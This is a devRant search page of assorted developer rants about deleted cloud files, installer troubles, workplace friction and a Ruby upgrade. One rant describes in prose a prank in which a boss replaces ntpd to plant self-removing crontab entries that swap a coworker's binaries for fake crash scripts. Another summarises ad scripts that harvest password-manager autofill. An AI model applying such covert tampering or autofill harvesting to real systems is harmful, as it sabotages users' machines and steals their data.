Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "background check"
-
Long but worth it...
So I was cleaning out my Google Drive last night, and deleted some old (2 years and up) files. I also deleted my old work folder, it was for an ISP I worked for over 2 years ago. After deleting the files I had a little twinge of "Man I hope they're not still using those". But seriously, it'd be a pretty big security risk if I was still the owner of those files... right? Surely they copied them and deleted all the info from the originals. IP addresses, Cisco configs, username and passwords for various devices, pretty much everything but customer info.
Guess who I get a call from this morning... "Hi this is Debbie from 'ISP'. I was trying to access the IP Master List and I can't anymore. I was just told to call you and see if there's any way to get access to it again" (Not her real name...)
I had to put her on hold so I could almost die of laughter...
Me: "Sorry about that Debbie, I haven't worked for that company for over 2 years. Your telling me in all that time no one thought to save them locally? No one made a copy? I still had the original documents?!"
Long pause
D: "Uh... Apparently not..."
Another long pause
D: "So is there any way you can give me access to them again?"
Me: "They're gone Debbie. I deleted them all last night."
D: Very worried voice "Can... Can you check?"
This kids is why you never assume you'll always have access to a cloud stored file, make local copies!!
A little bit of background on this company, the owner's wife fired me on trumped up "time card discrepancy" issues so she could hire her freshly graduated business major son. The environment over there was pretty toxic anyway...
I feel bad for "Debbie" and the other staff there, it's going to be a very bad week for them. I also hope it doesn't impact any customers. But... It is funny as hell, especially since I warned the owner as I was clearing out my desk to save copies, and plan on them being gone soon. Apparently he never listened.
This is why you should have a plan in place... And not just wing it...
PS. First Post!25 -
boss' revenge
So here https://devrant.com/rants/1349878/... posted prank played on boss. For 3days I been freaking out what boss will do as revenge (check env and alias everytime I login). Then yesterday happened his revenge.
Was doing testing on my programs & sometime some programs would run but sometime it get segmentation fault. Seemed random first but then saw a pattern... everytime I get segmentation fault and I run again it would be fine. Checked alias... nothing, /etc/crontab, env, ps -ef... nothing seemed off, cksum of my binary... correct. Fuck! "What my boss did?" asked myself. Finally .5hrs later I saw entry in my id's crontab but then 1min later it's gone from my crontab
From there figured out how boss did it:
1) He replaced ntpd with his C program that runs in background creating an entry in my crontab every few mins
2) The entry in my crontab set to run /foobar/ulittleprick.sh every 2mins
3) ulittleprick.sh picks random binary owned by me, rename binary.name to .binary.name.nitwit and create a script named binary.name
4) Then ulittleprick.sh will remove itself from cron
What the generated binary.name script does? Sleep for 2 secs, echo "Segmentation fault", then rename back .binary.name.nitwit to binary.name. It even exits with status 139! I want to cry! Worst part is comment in 2nd line of ulittleprick.sh... kill me now29 -
Do not continue reading if you value your life.
Visual fucking studio 2015 installation. MOTHERFUCKER !!!
OK new project will only work on VS2015. Need to download it. OK, go to MS website. Project works with community edition. Fucking great. Download the installer. Run the installer. MOTHERFUCKER DON'T OPEN THE FUCKING BROWSER TO THANK ME, YOU FUCKING FUCK. Ok...Wait to download the packages. One fucking eternity later download completes. FUCKING GREAT. Proceed to package installation. After two fucking hours installation progress bar stays the same. Google "vs 2015 installation stuck windows 7". MOTHERFUCKING BACKGROUND PROCESS IS FUCKING STUCK AND INSTALLATION DOES NOT CONTINUE. FUCK YOU. I'VE LOST TWO HOURS. OK, stop the process. Installation gets cancelled. Run the installer again. STOP THANKING ME YOU PIECE OF SHIT :@ OK, check again all downloaded packages. All good. Continue with installation. Installation completes. MOTHERFUCKER WHY YOU WANT TO RESTART THE WHOLE SYSTEM ? FUCK YOUR WINDOWS UPDATES. Ok, restart and be done with it. SSD to the rescue. Try to set up the project.
MOTHERFUCKER I DIDN'T INSTALL THE C++ PACKAGES. WTF WERE YOU DOING ALL THAT TIME? OK, run installer again and install C++ packages. I SWEAR TO GOD MICROSOFT, IF YOU THANK ME ONE MORE GODDAMN TIME, YOU'RE GETTING HATE MAIL.
Ok, installation completes. It's coding time. NO BITCH. VS2015 silently crashes after splash screen. :@@@ Google wtf is wrong again, turns out the C++ packages fuck shit up. Ok, pass some arguments to devenv.exe to reset. Restart VS. Ok, seems to be working now. Make a test project. Fucking awesome. Close VS and get the project files from perforce.
OK, files downloaded. Open VS again....
VS: "You're my bitch, you won't code today. Run from console and pass some shitty reset parameters"
YOU FUCKING FUCK. GO FUCK YOURSELF UP YOUR FUCKING ARSE. Ok, pass the parameters from console. Run again. Same "you're my bitch message" :@ OK, run with administrator rights, opens like charm. Run without admin rights again, "you're my bitch message". :@@@@@
Restart system, VS2015 finally opens project normally. Build project, 6934 errors.... :@ I'M DONE ! IM GOING BACK TO LINUX PROJECT. FUCK YOU ALL.18 -
// sorry, again a story not a rant
Category->type = 'Story';
Category->save();
Today at work I got a strange email
'about your msi laptop'
(Some background information, a few months ago I went on vacation and left my work laptop at home. Long story short some one broke in and stole my msi laptop)
So this email had my interest. I opened it and the content was something like:
Hi! My name is x, I clean/repair laptops partime and I noticed your personal information on this laptop, normally people whipe their data from their laptop before selling so this is just a double check, if the laptop was stolen please call me on xxx
If I hear nothing I'll assume its alright and will whipe your data
So of course I immediately called him, after a conversation I informed the police who is now working on the case7 -
!!good news
!!great news
!!linux dev lappy recommendations?
So, @Root might finally have a job! Woo!
(Pending a background check, drug test, cavity search, ...)
I'm excited, and kind of giddy. It's an open-office setup, but the devs are chill, the boss is chill (reminds me a bit of myself thus far, just... nice), pay is decent too. Drive is hell, but everything else feels kinda cushy. The parent company is super-stuffy corporate and has an HR and red tape fetish, but supposedly I won't have to interact with them at all. I start as soon as all of the background check nonsense comes through. (Don't get me started on that, please.)
One of the questions that came up, however, is what type of system I wanted to use. I requested a Linux lappy, and that's sadly a bit beyond the parent company's nontechnical IT department. They asked me for links to a few specific machines on amazon for options. (MacBook Pro or equivalent)
That's where this question comes in: Which lappys make great dev machines and also have decent linux (Debian/Mint/Ubuntu) support? The role is backend Rails development + some devops, so I don't need super-fancy graphics, though I will be attaching a 4k (hopefully IPS) display because space and pretty colors.
Recommendations welcome, as I should get back to them today!43 -
TL;DR: If you're an Android user, do yourself a favour and check out https://simplemobiletools.com/ . You're welcome.
Dear diary, today was a good day.
A small part of my faith in humanity was recovered after I found about Tibor Kaputa.
Apparently, this guy - like many of us - was fed up with the bloat, bugs, bullshit and 'features' of many of the stock Android apps that come preinstalled on most phones. And so, he decided to make his own.
Unlike most of us however, he actually pulled through. And then he made them open source.
No bullshit permission requirements.
No ads or tracking.
Custom themes.
And no, not just 'toggle white/dark mode', I'm talking 'pick your own color scheme', both within the app and for the app icon (!).
And then sync your colour scheme across the entire suite of apps (!!).
Simple UI, with a lot of customizable settings.
And if you get them from f-droid, it's all completely free as in BEER too!
I've spent a lot of time in the last year trying to find software that does what it's supposed to do well, without trying to pull any sneaky bullshit in the background or annoy me with crap that I don't care about in a miserable attempt to show off its useless features.
I'm not a fan of Medium myself either, but the author's article about how his suite of apps was born really resonated with me. If you care about privacy, open source software, and doing things right, you should really give it a read: https://medium.com/@tibbi/...
I'm particularly a fan of the Gallery, the File Manager, and the Music player apps, and the others don't look half bad either.11 -
aslkfjasf. i've spent 12 hours today (and lots more over the past two days) trying to reproduce a bug that my [sort of] coworker insists is present. I haven't seen any proof of it anywhere, let alone steps to reproduce it.
I've poured through the code, following all of its tangled noodles of madness from start to fuck-this-shit. I've read and reread the pile of demon excrement so many times i can still read the code when i close my eyes. so. not. kidding.
anyway, the coworker person is getting mad because i haven't fixed the bug after days, and haven't even reproduced it yet. This feature is already taking way too fucking long so I totally don't blame him. but urghh it's like trying to unwind a string someone tied into a tight little ball of knots because they were bored.
but i just figured out why I haven't been able to reproduce it.
the stupid fucking unreliable dipshit ex-"i'm a rockstar and my code rocks"-CTO buffoon (aka API Guy, aka the `a=b if a!=b`loody pointless waste of mixed spaces and tabs) that wrote the original APIs ... 'kay, i need to stop for breath.
The dumbfuck wrote the APIs (which I based the new ones on mostly wholesale because wtf messy?), but he never implemented a very fucking important feature for a specific merchant type. It works for literally every type except the (soon-to-be) most common one. and it just so happens that i need that very specific feature to reproduce this bug.
Why is that one specific merchant type handled so differently? No fucking idea.
But exactly how they're handled differently is why I'm so fking pissed off. It's his error checking. (Some) of his functions return different object types (hash, database object, string, nullable bool, ...) depending on what happened. like, when creating a new gift, it (eventually...) either returns a new Gift object or a string error basically saying "ahhh everything's broken again!" -- which is never displayed, compared against, or recorded anywhere, ofc. Here, the API expects a Hash. That particular function call *always* returns a Hash, no matter what happens in the myriad, twisting, and interwoven branches the code could take. So the check is completely pointless.
EXCEPT. if an object associated with another object associated with the passed object (yep) has a type of 8. in which case, one of the methods in the chain returns a PrintQueue that gets passed back up the call stack. implicitly, and nested three levels in. ofc.
And if the API doesn't get its precious Hash, it exclaims that the merchant itself is broken, and tells the user to contact support. despite, you know, the PrintQueue showing that everything worked perfectly. In fact, that merchant's printer will be happily printing away in the background.
All because type checking is this guy's preferred method of detecting errors. (Raise? what's that? OOP? Nah, let's do diverging splintered-monolithic with some Ruby objects thrown in.)
just.
what the crap.
people should keep their mental diarrhea away from their keyboards.
Anyway. the summary of this long-winded, exhaustion-fueled tirade is that our second-most-loved feature doesn't work on our second-most-common merchant type.
and ofc that was the type of merchant i've been testing on. for days. while having both a [semi] coworker and my boss growing increasingly angry at me for my lack of progress.
It's also a huge feature, and the boss doesn't understand that. (can't or won't, idk)
So.
yep.
that's been my week.
...... WHAT A FUCKING BUFFOON!rant sheogorath's spaghetti erroneous error management vomit on her sweater already your face is an anti-pattern dipshit api guy two types bad four types good root swears oh my3 -
Someone just rang the IT Helpdesk moaning that outlook wasn't syncing his mail and it was because the brand new laptop he's just gotten is crap.
So first, the guy on the helpdesk asked to log into the users laptop to look at outlook.
He apparently isn't at his laptop and doesn't have time for anyone to log in!
Wtf lol
So he rings back 10 mins later when at his laptop but wont let the helpdesk log in as he has 'confidential' documents open.
Wtf, close them, why are you ringing us to look at your laptop if you won't let us log on?? lol
So helpdesk was like ok, just check cat cable is plugged in, check wifi is off, do a send/receive etc. and the user's like yes, they're all okay!
Helpdesk tells him to reboot his pc. He does so.
Doesn't resolve it.
Skip forward another 10 painful minutes while the helpdesk guy is pulling his hair out checking everything in the background, and all looks fine.
User then says "should i also turn off my iPhone?"
Helpdesk: 'No, outlook is just on your laptop'.
User: 'No *assured laugh* its on my phone too. I get emails there too'
Helpdesk: 'No, you use the generic 'Mail' app on your phone. Outlook is a separate app. We don't use it.'
User: 'But you're not listening, regardless of the app name, that's my problem, mail's not working on my phone'.
Helpdesk: '.....so why didn't you say so 20 minutes ago when i asked to log into ur laptop?'
User: 'Didn't think it was relevant. Laptop was fine. Assumed you'd know'.
...........
Why.
Why???
Why.
Shockingly, a phone restart fixed it. The user couldn't remember the last time he'd turned the thing off.11 -
So... my girlfriend has a very random work schedule. Sometimes she works 4 days a week sometimes only 1, sometimes only at the weekend sometimes not at all. If only there would be an app to track that... 🤔
She tried quite a few apps on the app store but they were shit/ugly/too complex..etc
Wait.. i’m a developer, i can do that.
So i made a dead simple calendar-like app in javascript+fuseopen.
She selected the colors, background, layout etc..
If she taps on a date it turns red indicating that is a workday, if a workday is tapped it turns back to normal color.
The main logic is:
Main:
If(AppHasSavedWorkdays){
//check if save is current month
LoadCalendarWithWorkdays();
}else{
CreateEmptyCalendarAndSave();
}
She likes it.
Cool, so let’s build this! She has an iphone and my mac is still in the service center so i can’t build🙁
But its okay, i have a mac at my office, we can build there, the only downside is that is 40min of travel.
We take the subway, go to the office, build the app, make a certificate, install to her phone, everything goes as planned.
Coming back we were lucky enough to catch the bus that goes in 30 min intervals, we only had to wait like a minute so life is good 😃
I enter the house, chill down on the bed, pull out my laptop to close the project when a FUCK ME!!!!
I completely forgot to implement a whole else branch on start!!!
Soo the app does nothing when is opened on january 1😂😂
I guess that’s why we have testers and qa.. 😃8 -
Stupid shitheads among the web designers, fucking listen up. Your fucking design is not the point of websites - the content is. You are not supposed to shove the content away to have your moron design shine in its purest debility.
Yeah I know, white space minimalism yadda yadda, clean interface - and you dumbasses just remove functionality to simulate a clean interface, to the point of using hamburger fuckups on desktop. Pull your heads out of your asses, that's not how to design an interface! Not to mention that you idiots still guzzle through the megabytes and dozens of domain lookups for your chickenshit minimalism.
While we're at it, not everyone is 20 years old like you youngsters - you won't believe it, but there is life beyond 40, and while such age is unthinkable to you because you are so dumb that you will hardly reach that age anyway, others on this planet have managed to get there. No 20/20 laser sight, you know.
Fuck you with your light grey thin fonts on white background because it looks "clean", it just SUCKS you wankers. Fuck you with your stupid ghost buttons that don't even look like a button. You know how to operate the shit you made, but reality check here, users spend most of their time on fucking other websites than on the abomination you have designed!
Get that into the shit bubble that you call your brain and read WCAG 2.1! That's not only for disabled people, but everyone will be able to use that shit better!8 -
The riskiest dev choice...
How about "The riskiest thing you've done as a dev"? I have a great entry for that. and I suppose it was my choice to build the feature afterall.
I was working on an instance of a small MMO at a game company I worked for. The MMO boasted multiple servers, each of them a vastly different take on the base game. We could use, extend, or outright replace anything we wanted to, leading to everything from Zelda to pokemon to an RP haven to a top-down futuristic counterstrike. The server in this particular instance was a fantasy RPG, and I was building it a new leveling and experience system with most of the trimmings. (Talents, feats/perks, etc. were in a future update.)
A bit of background, first: the game's dev setup did not have the now-standard dev/staging/prod servers; everything ran on prod, devs worked on prod, players connected and played on prod, etc. Worse yet, there was no backup system implemented -- or not really. The CTO was really the only person with sufficient access. The techy CEO did as well, but he rarely dealt with anything technical except server hardware, occasionally. And usually just to troll/punish us devs (as in "Oops ! I pulled the cat5 ! ;)"). Neither of them were the most reliable of people, either. The CTO would occasionally remote in and make backups of each server -- we assumed whenever he happened to think of it -- and would also occasionally do it when asked, but it could take him a week, sometimes even up to a month to get around to it. So the backups were only really useful for retreiving lost code and assets, not so much for player data.
The lack of reliable backups and the lack of proper testing grounds (among the plethora of other issues at the company) made for an absolutely terrible dev setup, but that's just how it was, and that's what we dealt with. We were game devs, afterall. Terrible or not, we got to make games! What more could you ask for!? It was amazing and terrible and wonderful and the worst thing ever, all at the same time. (and no, I'm not sharing the company name, but it isn't EA or Nexon, surprisingly 😅)
Anyway, back to the story! My new leveling system also needed to migrate players' existing data, so... you can see where this is going.
I did as much testing and inspection of my code as I could, copied it from a personal dev script to the server's xp system, ... and debated if I really wanted to click [Apply]. Every time I considered it, I went back to check another part or do yet more testing. I ended up taking like 40 minutes to finally click it.
And when I did... that was the scariest button press of my life. And the scariest three seconds' wait afterwards. That one click could have ruined every single player's account, permanently lost us players ...
After applying it, I immediately checked my character to see if she was broken, checked the account data for corruption or botched flags, checked for broken interactions with the other systems....
Everything ended up working out perfectly, and the players loved all of the new features. They had no idea what went into building them, and certainly had no idea of what went into applying them, or what could have gone wrong -- which is probably a good thing.
Looking back, that entire environment was so fragile, it's a wonder things didn't go horribly wrong all the time. Really, they almost never did. Apocalypses did happen, but were exceedingly rare, and were ususally fixed quickly. I guess we were all super careful simply because everything was so fragile? or the decent devs were, at least. We never trusted the lessers with access 😅 at least on the main servers where it mattered. Some of the smaller servers... well, we never really cared about those.
But I'm honestly more surprised to realize I've never had nightmares of that button click. It was certainly terrifying enough.
But yay! Complete system overhaul and migration of stored and realtime player data! on prod! With no issues! And lots of happy players! Woooooo!
Thinking back on it makes me happy 😊rant deploying straight to prod prod prod prod dev server? dev on prod you chicken migration on prod wk149 git? who's a git? you're a git! scariest deploy ever game development1 -
Yet another rant about crappy electronic designs.
Just now I was cleaning my desk and stumbled upon some old hard drive in a caddy that I still had laying around.. I figured, let's plug it in and see whether the drive still works. And to some extent, it does! Except that every few minutes it craps out on me. And after disassembling the caddy, I think that I know why.
Just as background information, hard drives work at 12V and generally require about 10W to spin their motor. Meanwhile USB operates at 5V. So a boost converter needs to be present in the controller to step up the voltage and power the drive.
Now what's a boost converter? It's an inductor, a capacitor, a transistor and a diode in a specific arrangement (if you're interested in the design, check out https://youtube.com/watch/...), along with feedback circuitry to stabilize output voltage. Now that transistor is important.. it switches at very high frequency, and its rise and fall times create heat. In the particular transistor used in that controller, it apparently causes the transistor to operate at 65-68°C. That's quite toasty IMO, and overheating may be why the controller is so unstable. But the Chinese manufacturers thought that it's just fine and okay to be sold without heatsink or some research into transistors with better rise and fall times.
So the hard drive craps out on me and yet again it's because of certified shitdesigns. MOTHERFUCKTURERS!!!!27 -
Online tutorial pet peeves
————————————
My top 10 points of unsolicited ranting/advice to those making video tutorials:
1. Avoid lots of pauses, saying “umm” too much, or other unnecessary redundancy in speech (listen to yourself in a recording)
2. If I can’t understand you at 1.5 - 2x playback speed and you don’t already speak relatively quickly and clearly, I’m probably not going to watch for long (mumbling, inconsistent microphone volume, and background noise/music are frequent culprits)
3. It’s ok to make mistakes in a tutorial, so long as you also fix them in the tutorial (e.g., the code that is missing a semicolon that all of a sudden has one after it compiles correctly — but no mention of fixing it or the compiler error that would have been received the first time). With that said, it’s fine to fix mistakes pertinent to the topic being taught, but don’t make me watch you troubleshoot your non-relevant computer issues or problems created by your specific preferences (e.g., IDE functionality not working as expected when no specific IDE was prescribed for the tutorial)
4. Don’t make me wait on your slow computer to do something in silence—either teach me something while it’s working or edit the video to remove the lull
5. You knew you were recording your screen. Close your email, chat, and other applications that create notifications before recording. Or at least please don’t check them and respond while recording and not edit it out of the video
6. Stay on topic. I’m watching your video to learn about something specific. A little personality is good, but excessive tangents are often a waste of my time
7. [Specific to YouTube] Don’t block my view of important content with annotations (and ads, if within your control)
8. If you aren’t uploading quality HD recordings, enlarge your font! Don’t make me have to guess what character you typed
9. Have a game plan (i.e., objectives) before hitting the record button
10. Remember that it’s easier to rant and complain than to do something constructive. Thank you for spending your time making tutorial videos. It’s better for you to make videos and commit all my pet peeves listed above than to not make videos at all—don’t let one guy’s rant stop you from sharing your knowledge and experience (but if it helps you, you’re welcome—and you just might gain a new viewer!)14 -
I was an hour deep into filling out forms on a ridiculous background check website when Windows decides to go BSOD.
Fuck Windows 11. To death.9 -
I just had my worst hackathon so far and need to puke my whole toxic hatred, the rant will be full of hate so be warned. (I just don't want to let it go on my girlfriend, but I need to shout it out loud somewhere)
First of all, it is alright to be a beginner at a hackathon. It is also alright to not know that much about coding and want to learn. But it is not alright to lie about your skill, pretend to be a senior programmer and waste my fucking time.
Don't even fucking dare to say your are "fit" in Android development if you just have done some foobar tutorial on YouTube, don't even bother to read the document and have literally non existent knowledge about computer science.
Why the fucking hell do you need to pretend to be a seasoned programmer if you are just a bloody beginner? I mean you are in a hackathon full of computer nerds so soon or later your impostor ass will be debunked so what is the point?
And the other guy. Why the fucking hell did.'t you say that you just begin Python for 3 months? You are not a fucking developer if you just started coding for 3 fucking months. Learn some fucking coding before starting with machine learning you fucking punk ass bitch script kiddie.
Alright, maybe I was too naive to not check my teammates' background before make a team with them. Fuck me and my fucking stupid ass. My dumb ass monkey brain fell for big mouths, I deserved the headache right now and none less.
Lesson learned!9 -
[Little perspective: For the last 7 months I'm working in a certain project.]
[The project is full of unimaginative, non-creative devs with 0 initiative and poor technical background.]
[And they're almost all from one country which you all can figure out.]
[But I'm not going to mention it here because I don't want to come up as a racist]
[So there's US (Europeans) and THEM. 3 of US and about 10 of THEM. And we're doing 90% of all the heavy lifting]
---
Yesterday
---
D (Dev from THEM): Hi S, I have a problem with my task
Me: (sighing) Ok let's have a call
* on the call with D we were checking some stuff loosely related to task *
* code wouldn't get invoked at all for some reason *
* suddenly I realize that even if the code would invoke, D's probably doing everything wrong in it anyway *
Me (thinking): I need to double check something.
Me: I can't help you now, I'll get back to you later.
* call ended *
---
Me: Hey J, I need your help, I need to clarify the work package in my mind, because I am no longer sure.
J (my European TL): Ok, fire away.
* call started *
Me: Is it true that [blahblahblah] and so D's task depends on me completing first my task, or am I losing my mind?
J: That is correct.
Me: Well she's trying to do this in [that] way, which is completely wrong.
J: You see, that's how it is in this project, you do refinements with them, split these work packages to tasks, mention specifically what depends on what and what order should things be taken in, and in some cases all tasks from given user stories should be done by one person entirely... But they do it their way anyway, assign different people to different interdependent tasks, and these people don't even understand the big picture and they try to do the things the way they think they understand them.
Me: It's a fire in a brothel.
J: Yup.
Me: I fucking love this project.
J: (smiling silently)
* call ended *
---
Me: Ok D, you can't do your task because it's dependant on my task.
D: Oh... so what do I do?
Me: I don't know, do something else until I do my task.
---
A (THEIR TL) (Oh, did I forget to mention that there are 2 TLs in this project? THEY have their own. And there are 2 PMs as well.)
A: Hey S, I need to talk
Me: (sighing, getting distracted from work again) Ok let's have a call
* call started *
A: S, we need this entire work package done by Friday EOD.
Me: I can't promise, especially since there are several people working on its several tasks.
A: D's working on hers for 3 days already, and she's stuck. We want you to take over.
Me: (sighing, thinking "great"): Ok.
* call ended *
---
Me: Hey D, A instructed me to take over your task. This is actually going to be easier since you'd have to wait for mine after all.
D: Oh, ok.
---
* I switched the Assigned Person on D's task to myself on Azure *
---
This morning, email from D.
"Hey, I completed my task and it's on [this] branch, what do I do now?"
........................................
Me, hesitating between 2 ways to reply:
(and take note there are people in CC: A, J, P - the last one is THEIR PM)
1) "Hi, Unfortunately you'd still have to wait for my changes because your task is dependent on my task - the column to be changed is in the table that I am introducing and it's not merged to develop branch yet. By the way I already did your task locally, as I was instructed to do it, I'm wrapping things up now."
(y'know: the response which is kind, professional, understanding; without a slight bit of impatience)
2) WHAT FUCKING PART OF "DON'T DO THIS I WILL FUCKING DO IT MYSELF GO HOME JUST GO HOME" YOU DON'T FUCKING UNDERSTAND4 -
Old boss story. This guy was nice but a terrible boss. Also relevant, he has a background in IT so should know better.
Him: So when you wanna check a password is correct you just unhash it in the database?
Me: *facepalm*
Me: Hey we should be doing unit and integration testing at a minimum to lower bugs.
Him: We don't need those, we're not a bank. If a problem comes up we just fix it and push to production.
(A while later)
Him(in email): Why do we keep getting bugs reported. Don't you devs test your code.
I was mildly annoyed at that one.
Him: We're always over budget on projects, how can we fix this.
Me: What if we increase our quotes.(technically there are other ways as well but not really possible at that time)
Him: We can't do that, clients won't want to pay.
Me: *finishing off my handover as I'm leaving for a new job*
Him: Wow you do a lot of work2 -
I could bitch about XSLT again, as that was certainly painful, but that’s less about learning a skill and more about understanding someone else’s mental diarrhea, so let me pick something else.
My most painful learning experience was probably pointers, but not pointers in the usual sense of `char *ptr` in C and how they’re totally confusing at first. I mean, it was that too, but in addition it was how I had absolutely none of the background needed to understand them, not having any learning material (nor guidance), nor even a typical compiler to tell me what i was doing wrong — and on top of all of that, only being able to run code on a device that would crash/halt/freak out whenever i made a mistake. It was an absolute nightmare.
Here’s the story:
Someone gave me the game RACE for my TI-83 calculator, but it turned out to be an unlocked version, which means I could edit it and see the code. I discovered this later on by accident while trying to play it during class, and when I looked at it, all I saw was incomprehensible garbage. I closed it, and the game no longer worked. Looking back I must have changed something, but then I thought it was just magic. It took me a long time to get curious enough to look at it again.
But in the meantime, I ended up played with these “programs” a little, and made some really simple ones, and later some somewhat complex ones. So the next time I opened RACE again I kind of understood what it was doing.
Moving on, I spent a year learning TI-Basic, and eventually reached the limit of what it could do. Along the way, I learned that all of the really amazing games/utilities that were incredibly fast, had greyscale graphics, lowercase text, no runtime indicator, etc. were written in “Assembly,” so naturally I wanted to use that, too.
I had no idea what it was, but it was the obvious next step for me, so I started teaching myself. It was z80 Assembly, and there was practically no documents, resources, nothing helpful online.
I found the specs, and a few terrible docs and other sources, but with only one year of programming experience, I didn’t really understand what they were telling me. This was before stackoverflow, etc., too, so what little help I found was mostly from forum posts, IRC (mostly got ignored or made fun of), and reading other people’s source when I could find it. And usually that was less than clear.
And here’s where we dive into the specifics. Starting with so little experience, and in TI-Basic of all things, meant I had zero understanding of pointers, memory and addresses, the stack, heap, data structures, interrupts, clocks, etc. I had mastered everything TI-Basic offered, which astoundingly included arrays and matrices (six of each), but it hid everything else except basic logic and flow control. (No, there weren’t even functions; it has labels and goto.) It has 27 numeric variables (A-Z and theta, can store either float or complex numbers), 8 Lists (numeric arrays), 6 matricies (2d numeric arrays), 10 strings, and a few other things like “equations” and literal bitmap pictures.
Soo… I went from knowing only that to learning pointers. And pointer math. And data structures. And pointers to pointers, and the stack, and function calls, and all that goodness. And remember, I was learning and writing all of this in plain Assembly, in notepad (or on paper at school), not in C or C++ with a teacher, a textbook, SO, and an intelligent compiler with its incredibly helpful type checking and warnings. Just raw trial and error. I learned what I could from whatever cryptic sources I could find (and understand) online, and applied it.
But actually using what I learned? If a pointer was wrong, it resulted in unexpected behavior, memory corruption, freezes, etc. I didn’t have a debugger, an emulator, etc. I had notepad, the barebones compiler, and my calculator.
Also, iterating meant changing my code, recompiling, factory resetting my calculator (removing the battery for 30+ sec) because bugs usually froze it or corrupted something, then transferring the new program over, and finally running it. It was soo slowwwww. But I made steady progress.
Painful learning experience? Check.
Pointer hell? Absolutely.4 -
"Ad targeters are pulling data from your browser’s password manager"
---
Well, fuck.
"It won't be easy to fix, but it's worth doing"
Just check for visibility or like other password managers handle it iirc: assign a unique identifier based on form content and fill that identifier only.
---
"Nearly every web browser now comes with a password manager tool, a lightweight version of the same service offered by plugins like LastPass and 1Password. But according to new research from Princeton's Center for Information Technology Policy, those same managers are being exploited as a way to track users from site to site.
The researchers examined two different scripts — AdThink and OnAudience — both of are designed to get identifiable information out of browser-based password managers. The scripts work by injecting invisible login forms in the background of the webpage and scooping up whatever the browsers autofill into the available slots. That information can then be used as a persistent ID to track users from page to page, a potentially valuable tool in targeting advertising."
Source: https://theverge.com/2017/12/...14 -
So I'm back from vacation! It's my first day back, and I'm feeling refreshed and chipper, and motivated to get a bunch of things done quickly so I can slack off a bit later. It's a great plan.
First up: I need to finish up tiny thing from my previous ticket -- I had overlooked it in the description before. (I couldn't test this feature [push notifications] locally so I left it to QA to test while I was gone.)
It amounted to changing how we pull a due date out of the DB; some merchants use X, a couple use Y. Instead of hardcoding them, it would use a setting that admins can update on the fly.
Several methods deep, the current due date gets pulled indirectly from another class, so it's non-trivial to update; I start working through it.
But wait, if we're displaying a due date that differs from the date we're actually using internally, that's legit bad. So I investigate if I need to update the internals, too.
After awhile, I start to make lunch. I ask my boss if it's display-only (best case) and... no response. More investigating.
I start to make a late lunch. A wild sickness appears! Rush to bathroom; lose two turns.
I come back and get distracted by more investigating. I start to make an early dinner... and end up making dinner for my monster instead.
Boss responds, tells me it's just for display (yay!) and that we should use <macro resource feature> instead.
I talk to Mr. Product about which macros I should add; he doesn't respond.
I go back to making lunch-turn-dinner for myself; monster comes back and he's still hungry (as he never asks for more), so I make him dinner.
I check Slack again; Mr. Product still hasn't responded. I go back to making dinner.
Most of the way through cooking, I get a notification! Product says he's talking it through with my boss, who will update me on it. Okay fine. I finish making dinner and go eat.
No response from boss; I start looking through my next ticket.
No response from boss. I ping him and ask for an update, and he says "What are you talking about?" Apparently product never talked to bossmang =/ I ask him about the resources, and he says there's no need to create any more as the one I need already exists! Yay!
So my feature went from a large, complex refactor all the way down to a -1+2 diff. That's freaking amazing, and it only took the entire day!
I run the related specs, which take forever, then commit and push.
Push rejected; pull first! Fair, I have been gone for two weeks. I pull, and git complains about my .gitignore and some local changes. fine, whatever. Except I forgot I had my .gitignore ignored (skipped worktree). Finally figure that out, clean up my tree, and merge.
Time to run the specs again! Gems are out of date. Okay, I go run `bundle install` and ... Ruby is no longer installed? Turns out one of the changes was an upgrade to Ruby 2.5.8.
Alright, I run `rvm use ruby-2.5.8` and.... rvm: command not found. What. I inspect the errors from before and... ah! Someone's brain fell out and they installed rbenv instead of the expected rvm on my mac. Fine, time to figure it out. `rbenv which ruby`; error. `rbenv install --list`; skyscraper-long list that contains bloody everything EXCEPT 2.5.8! Literally 2.5 through 2.5.7 and then 2.6.0-dev. asjdfklasdjf
Then I remember before I left people on Slack made a big deal about upgrading Ruby, so I go looking. Dummy me forgot about the search feature for a painful ten minutes. :( Search found the upgrade instructions right away, ofc. I follow them, and... each step takes freaking forever. Meanwhile my children are having a yelling duet in the immediate background, punctuated with screams and banging toys on furniture.
Eventually (seriously like twenty-five minutes later) I make it through the list. I cd into my project directory and... I get an error message and I'm not in the project directory? what. Oh, it's a zsh thing. k, I work around that, and try to run my specs. Fail.
I need to update my gems; k. `bundle install` and... twenty minutes later... all done.
I go to run my specs and... RubyMine reports I'm using 2.5.4 instead of 2.5.8? That can't be right. `ruby --version` reports 2.5.8; `rbenv version` reports 2.5.8? Fuck it, I've fought with this long enough. Restarting fixes everything, right? So I restart. when my mac comes back to life, I try again; same issue. After fighting for another ten minutes, I find a version toggle in RubyMine's settings, and update it to 2.5.8. It indexes for five minutes. ugh.
Also! After the restart, this company-installed surveillance "security" runs and lags my computer to hell. Highest spec MacBook Pro and it takes 2-5 seconds just to switch between desktops!
I run specs again. Hey look! Missing dependency: no execjs. I can't run the specs.
Fuck. This. I'll just push and let the CI run specs for me.
I just don't care anymore. It's now 8pm and I've spent the past 11 hours on a -1+2 diff!
What a great first day back! Everything is just the way I left it.rant just like always eep; 1 character left! first day back from vacation miscommunication is the norm endless problems ruby6 -
Pretty simple oversight in a SQL pull led someone to run about 3,300 background checks that had already been run. Somebody told me we spend $25 per check, which would have totaled around $84,000. It ended up being much less, but for a good 40 minutes I assumed I'd be looking for other work the next day.1
-
Hey all! It's a me, Skayo, you might know me from the very early years of devRant, my highlight bot, my random quote bot, the devRant-Community on GitHub or any of the dumb rants and things that I've posted during my time.
Since I'm currently doing a cleanup of my old GitHub repos and this platform is still somewhat active, I have decided to pass on or publish all my projects and things I've created for this community back in the days.
Firstly, I have just published and transferred the source codes for the @highlight bot, the @RandomQuote bot, the @here bot, and some weird bot framework to the devRant-Community GitHub organization (https://github.com/devRant-Communit...).
Feel free to check them out if you've ever wondered what awful, awful code was running in the background all these years!
Secondly, I am offering any of the following to anyone who's interested:
- Ownership of the "devRant-Community" organization on GitHub (https://github.com/devRant-Communit...)
- Credentials for the @RandomQuote devRant user
- Credentials for the @highlight devRant user
- Credentials for the @here devRant user
- Credentials for the @devNews devRant user
- Ownership of the "devNews" Discord server
